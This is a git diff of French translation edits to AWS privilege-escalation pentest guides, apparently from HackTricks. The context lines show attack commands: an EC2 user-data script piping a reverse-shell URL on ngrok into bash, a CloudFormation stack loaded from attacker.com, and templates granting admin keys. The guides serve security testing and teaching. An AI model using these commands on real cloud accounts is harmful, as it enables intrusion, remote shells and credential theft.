> Si une politique IAM a `"Effect": "Allow"` et `"NotAction": "Someaction"` indiquant une **ressource**... cela signifie que le **principal autorisé** a **la permission de faire TOUT sauf cette action spécifiée**.\
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 1ebe47191..69e68d71c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
### `apigateway:POST`
-Avec cette autorisation, vous pouvez générer des clés API des API configurées (par région).
+Avec cette permission, vous pouvez générer des clés API des APIs configurées (par région).
```bash
aws --region apigateway create-api-key
```
@@ -25,7 +25,7 @@ Avec cette autorisation, vous pouvez obtenir les clés API générées des API c
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
```
-**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez avoir accès à des informations sensibles.
+**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
@@ -35,14 +35,14 @@ aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
```
-**Impact potentiel :** Vous ne pourrez généralement pas privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles.
+**Impact potentiel :** Vous ne pourrez généralement pas effectuer de privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles.
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> Besoin de tests
-Un attaquant avec les permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API Gateway REST API existante avec une fonction Lambda qui a un rôle IAM attaché**. L'attaquant peut alors **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**.
+Un attaquant avec les permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API REST API Gateway existante avec une fonction Lambda qui a un rôle IAM attaché**. L'attaquant peut alors **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**.
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -61,9 +61,9 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
> [!NOTE]
-> Besoin de tests
+> Nécessite des tests
-Un attaquant disposant des autorisations `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** pour contourner les vérifications de sécurité ou pour exécuter du code arbitraire lors des requêtes API.
+Un attaquant disposant des autorisations `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** pour contourner les vérifications de sécurité ou exécuter du code arbitraire lors des requêtes API.
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 57a8ca28d..e361fae40 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -18,7 +18,7 @@ aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
--role-arn
```
-Dans la page suivante, vous avez un **exploitation example** avec la permission supplémentaire **`cloudformation:DescribeStacks`** :
+Dans la page suivante, vous avez un **exemple d'exploitation** avec la permission supplémentaire **`cloudformation:DescribeStacks`** :
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -51,7 +51,7 @@ La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous d
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-Un attaquant avec des permissions pour **passer un rôle et créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
+Un attaquant ayant les permissions de **passer un rôle et de créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
L'exploitation suivante est une **variation de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilisant les **permissions ChangeSet** pour créer une pile.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index c1ed78490..e062a2c29 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Un attaquant pourrait par exemple utiliser un **modèle cloudformation** qui génère **des clés pour un utilisateur admin** comme :
+Un attaquant pourrait par exemple utiliser un **cloudformation template** qui génère **des clés pour un utilisateur admin** comme :
```json
{
"Resources": {
@@ -55,7 +55,7 @@ Un attaquant pourrait par exemple utiliser un **modèle cloudformation** qui gé
}
}
```
-Puis **générez la pile cloudformation** :
+Ensuite, **générez la pile cloudformation** :
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 0965edbea..aed4cd54d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Un attaquant avec les permissions **`iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en créant un rôle en cours d'exécution.
+Un attaquant avec les **permissions `iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en en créant un en cours d'exécution.
{{#tabs }}
{{#tab name="Example1" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
-{{#tab name="Exemple2" }}
+{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -150,7 +150,7 @@ aws codebuild start-build --project-name reverse-shell-project
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Tout comme dans la section précédente, si au lieu de créer un projet de build vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
+Tout comme dans la section précédente, si au lieu de créer un projet de construction vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -285,13 +285,13 @@ Et ensuite :
aws codebuild batch-get-builds --ids --region --output json
aws ssm start-session --target --region
```
-Pour plus d'informations [**consultez la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Pour plus d'infos [**consultez la documentation**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
-Un attaquant capable de démarrer/redémarrer une build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
+Un attaquant capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
-Remarque : l'escalade est pertinente uniquement si le travailleur CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
+Remarque : l'escalade est pertinente uniquement si le worker CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
```bash
aws s3 cp s3:///buildspec.yml ./
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 7d1e966f5..94d5c1c3c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -51,14 +51,14 @@ codestar-createproject-codestar-associateteammember.md
1. **Créer un nouveau projet :**
- Utilisez l'action **`codestar:CreateProjectFromTemplate`** pour initier la création d'un nouveau projet.
-- Une fois la création réussie, l'accès est automatiquement accordé pour **`cloudformation:UpdateStack`**.
+- Après une création réussie, l'accès est automatiquement accordé pour **`cloudformation:UpdateStack`**.
- Cet accès cible spécifiquement une pile associée au rôle IAM `CodeStarWorker--CloudFormation`.
2. **Mettre à jour la pile cible :**
- Avec les permissions CloudFormation accordées, procédez à la mise à jour de la pile spécifiée.
- Le nom de la pile conformera généralement à l'un des deux modèles :
- `awscodestar--infrastructure`
- `awscodestar--lambda`
-- Le nom exact dépend du modèle choisi (référencer le script d'exploitation exemple).
+- Le nom exact dépend du modèle choisi (se référant au script d'exploitation exemple).
3. **Accès et permissions :**
- Après la mise à jour, vous obtenez les capacités assignées au **rôle IAM CloudFormation** lié à la pile.
- Remarque : Cela ne fournit pas intrinsèquement des privilèges d'administrateur complets. Des ressources mal configurées supplémentaires dans l'environnement pourraient être nécessaires pour élever davantage les privilèges.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 1cc6bd133..1381ae5fa 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-C'est la politique créée à laquelle l'utilisateur peut privesc (le nom du projet était `supercodestar`) :
+Ceci est la politique créée à laquelle l'utilisateur peut privesc (le nom du projet était `supercodestar`) :
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index 655f4772b..63546cd94 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer **des actions arbitraires** via un **modèle cloudformation**.
+Avec ces permissions, vous pouvez **abuser d'un rôle IAM codestar** pour effectuer des **actions arbitraires** via un **modèle cloudformation**.
-Pour exploiter cela, vous devez créer un **bucket S3 qui est accessible** depuis le compte attaqué. Téléchargez un fichier appelé `toolchain.json`. Ce fichier doit contenir l'**exploit du modèle cloudformation**. Le suivant peut être utilisé pour définir une politique gérée à un utilisateur sous votre contrôle et **lui donner des permissions d'administrateur** :
+Pour exploiter cela, vous devez créer un **bucket S3 qui est accessible** depuis le compte attaqué. Téléchargez un fichier appelé `toolchain.json`. Ce fichier doit contenir l'**exploitation du modèle cloudformation**. Le suivant peut être utilisé pour définir une politique gérée à un utilisateur sous votre contrôle et **lui donner des permissions d'administrateur** :
```json:toolchain.json
{
"Resources": {
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
-Cet exploit est basé sur le **Pacu exploit de ces privilèges** : [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Vous pouvez y trouver une variation pour créer une politique gérée par l'administrateur pour un rôle au lieu d'un utilisateur.
+Cette exploitation est basée sur le **Pacu exploit de ces privilèges** : [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Vous pouvez y trouver une variation pour créer une politique gérée par un administrateur pour un rôle au lieu d'un utilisateur.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index 00d91fb8a..84453fdbe 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,7 +12,7 @@ Pour plus d'informations sur Cognito, consultez :
### Récupération des identifiants depuis le Identity Pool
-Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiants auparavant).
+Comme Cognito peut accorder des **identifiants de rôle IAM** à la fois aux **utilisateurs authentifiés** et **non authentifiés**, si vous localisez l'**ID du Identity Pool** d'une application (qui devrait être codé en dur), vous pouvez obtenir de nouveaux identifiants et donc un privesc (dans un compte AWS où vous n'aviez probablement même pas d'identifiant auparavant).
Pour plus d'informations, [**consultez cette page**](../aws-unauthenticated-enum-access/#cognito).
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
-Si l'application cognito **n'a pas les utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer.
+Si l'application cognito **n'a pas d'utilisateurs non authentifiés activés**, vous pourriez également avoir besoin de la permission `cognito-identity:UpdateIdentityPool` pour l'activer.
**Impact potentiel :** Privesc direct vers n'importe quel rôle cognito.
### `cognito-identity:update-identity-pool`
-Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il suffit de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**.
+Un attaquant avec cette permission pourrait par exemple définir un Cognito User Pool sous son contrôle ou tout autre fournisseur d'identité où il peut se connecter comme **un moyen d'accéder à ce Cognito Identity Pool**. Ensuite, il lui suffira de **se connecter** sur ce fournisseur d'utilisateur pour **lui permettre d'accéder au rôle authentifié configuré dans l'Identity Pool**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -111,7 +111,7 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application pouvant créer n'importe quel utilisateur.
+**Impact potentiel :** Privesc direct au rôle IAM du pool d'identité pour les utilisateurs authentifiés. Privesc indirect à d'autres fonctionnalités de l'application en pouvant créer n'importe quel utilisateur.
### `cognito-idp:AdminEnableUser`
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username \
--user-pool-id
```
-**SetUserPoolMfaConfig**: Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un groupe d'utilisateurs afin de contourner la protection MFA.
+**SetUserPoolMfaConfig** : Semblable à la précédente, cette autorisation peut être utilisée pour définir les préférences MFA d'un pool d'utilisateurs afin de contourner la protection MFA.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id \
@@ -164,9 +164,9 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration ] \
[--mfa-configuration ]
```
-**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Vérifiez cli ici](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool :** Il est également possible de mettre à jour le pool d'utilisateurs pour changer la politique MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
-**Impact potentiel :** Privesc indirect vers potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA.
+**Impact potentiel :** Privesc indirect à potentiellement n'importe quel utilisateur dont l'attaquant connaît les identifiants, cela pourrait permettre de contourner la protection MFA.
### `cognito-idp:AdminUpdateUserAttributes`
@@ -182,7 +182,7 @@ aws cognito-idp admin-update-user-attributes \
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
-Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode d'authentification, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...
+Un attaquant avec cette permission pourrait **créer un nouveau Client User Pool moins restreint** que les clients de pool existants. Par exemple, le nouveau client pourrait permettre n'importe quel type de méthode pour s'authentifier, ne pas avoir de secret, avoir la révocation de jetons désactivée, permettre aux jetons d'être valides pendant une période plus longue...
La même chose peut être faite si au lieu de créer un nouveau client, un **client existant est modifié**.
@@ -237,7 +237,7 @@ aws cognito-idp create-identity-provider \
C'est une permission très courante par défaut dans les rôles des pools d'identité Cognito. Même si un caractère générique dans une permission semble toujours mauvais (surtout venant d'AWS), les **permissions données ne sont pas super utiles du point de vue d'un attaquant**.
Cette permission permet de lire les informations d'utilisation des pools d'identité et des ID d'identité à l'intérieur des pools d'identité (qui ne sont pas des informations sensibles).\
-Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'informations sensibles (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations.
+Les ID d'identité peuvent avoir des [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) qui leur sont assignés, qui contiennent des informations sur les sessions (AWS le définit comme un **jeu sauvegardé**). Il est possible que cela contienne une sorte d'information sensible (mais la probabilité est assez faible). Vous pouvez trouver sur la [**page d'énumération**](../aws-services/aws-cognito-enum/) comment accéder à ces informations.
Un attaquant pourrait également utiliser ces permissions pour **s'inscrire à un flux Cognito qui publie des changements** sur ces datasets ou à une **lambda qui se déclenche sur des événements cognito**. Je n'ai pas vu cela être utilisé, et je ne m'attendrais pas à des informations sensibles ici, mais ce n'est pas impossible.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index 508f6571d..0f9a354c8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -1,10 +1,10 @@
-# AWS - Directory Services Privesc
+# AWS - Privesc des Services d'Annuaire
{{#include ../../../banners/hacktricks-training.md}}
-## Services d'annuaire
+## Services d'Annuaire
-Pour plus d'informations sur les services d'annuaire, consultez :
+Pour plus d'infos sur les services d'annuaire, consultez :
{{#ref}}
../aws-services/aws-directory-services-workdocs-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index e9cedf67b..8d28338d4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,12 +12,12 @@ Pour plus d'informations sur dynamodb, consultez :
### Post Exploitation
-Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
+Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb`**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}
-### TODO: Lire des données en abusant des flux de données
+### TODO: Lire des données en abusant des Data Streams
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 5d60ce7d9..d2e6d2bc6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Accès via rev shell dans les données utilisateur**
-Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.
+Vous pouvez exécuter une nouvelle instance en utilisant des **données utilisateur** (`--user-data`) qui vous enverront un **rev shell**. Vous n'avez pas besoin de spécifier de groupe de sécurité de cette manière.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Soyez prudent avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
+Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
{{#ref}}
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ Soyez prudent avec GuradDuty si vous utilisez les identifiants du rôle IAM en d
#### Privesc à ECS
-Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès, puis vous pourrez pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**.
+Avec cet ensemble de permissions, vous pourriez également **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette manière, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès et vous pourrez alors pénétrer ces services (conteneurs docker) et **voler leurs rôles ECS attachés**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -90,7 +90,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui lui est associé.
+Avec ces permissions, il est possible de changer le profil d'instance associé à une instance, donc si l'attaque avait déjà accès à une instance, il pourra voler des identifiants pour plus de rôles de profil d'instance en changeant celui qui y est associé.
- S'il **a un profil d'instance**, vous pouvez **supprimer** le profil d'instance (`ec2:DisassociateIamInstanceProfile`) et **l'associer** \*
```bash
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --policy file:///tmp/pol
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-Avec cette autorisation, un attaquant pourra **monter l'EFS**. Si l'autorisation d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**.
+Avec cette permission, un attaquant pourra **monter l'EFS**. Si la permission d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que **l'accès en lecture**.
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam :/ /efs/
```
-Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il soit monté et pour **accéder** à ce système de fichiers **en tant que root**.
+Les autorisations supplémentaires `elasticfilesystem:ClientRootAccess` et `elasticfilesystem:ClientWrite` peuvent être utilisées pour **écrire** à l'intérieur du système de fichiers après qu'il ait été monté et pour **accéder** à ce système de fichiers **en tant que root**.
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans le système de fichiers.
@@ -75,7 +75,7 @@ aws efs create-mount-target --file-system-id \
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **modifier cela en changeant les groupes de sécurité sélectionnés** :
+Dans un scénario où un attaquant découvre que l'EFS a un point de montage dans son sous-réseau mais **aucun groupe de sécurité n'autorise le trafic**, il pourrait simplement **changer cela en modifiant les groupes de sécurité sélectionnés** :
```bash
aws efs modify-mount-target-security-groups \
--mount-target-id \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 0755973ea..682401650 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -13,7 +13,7 @@ Plus **d'infos sur Elastic Beanstalk** dans :
> [!WARNING]
> Pour effectuer des actions sensibles dans Beanstalk, vous aurez besoin d'avoir **beaucoup de permissions sensibles dans de nombreux services différents**. Vous pouvez vérifier par exemple les permissions accordées à **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
-### `elasticbeanstalk:RebuildEnvironment`, permissions d'écriture S3 & beaucoup d'autres
+### `elasticbeanstalk:RebuildEnvironment`, permissions d'écriture S3 et bien d'autres
Avec **des permissions d'écriture sur le bucket S3** contenant le **code** de l'environnement et des permissions pour **reconstruire** l'application (il faut `elasticbeanstalk:RebuildEnvironment` et quelques autres liées à `S3`, `EC2` et `Cloudformation`), vous pouvez **modifier** le **code**, **reconstruire** l'application et la prochaine fois que vous accédez à l'application, elle **exécutera votre nouveau code**, permettant à l'attaquant de compromettre l'application et les identifiants de rôle IAM associés.
```bash
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
-Une fois que vous avez **votre propre environnement Beanstalk en cours d'exécution** votre rev shell, il est temps de **le migrer** vers l'environnement des **victimes**. Pour ce faire, vous devez **mettre à jour la politique de bucket** de votre bucket S3 Beanstalk afin que la **victime puisse y accéder** (Notez que cela va **ouvrir** le bucket à **TOUS**):
+Une fois que vous avez **votre propre environnement Beanstalk en cours d'exécution** votre shell de réversion, il est temps de **le migrer** vers l'environnement des **victimes**. Pour ce faire, vous devez **mettre à jour la politique de bucket** de votre bucket S3 Beanstalk afin que la **victime puisse y accéder** (Notez que cela va **ouvrir** le bucket à **TOUS**):
```json
{
"Version": "2008-10-17",
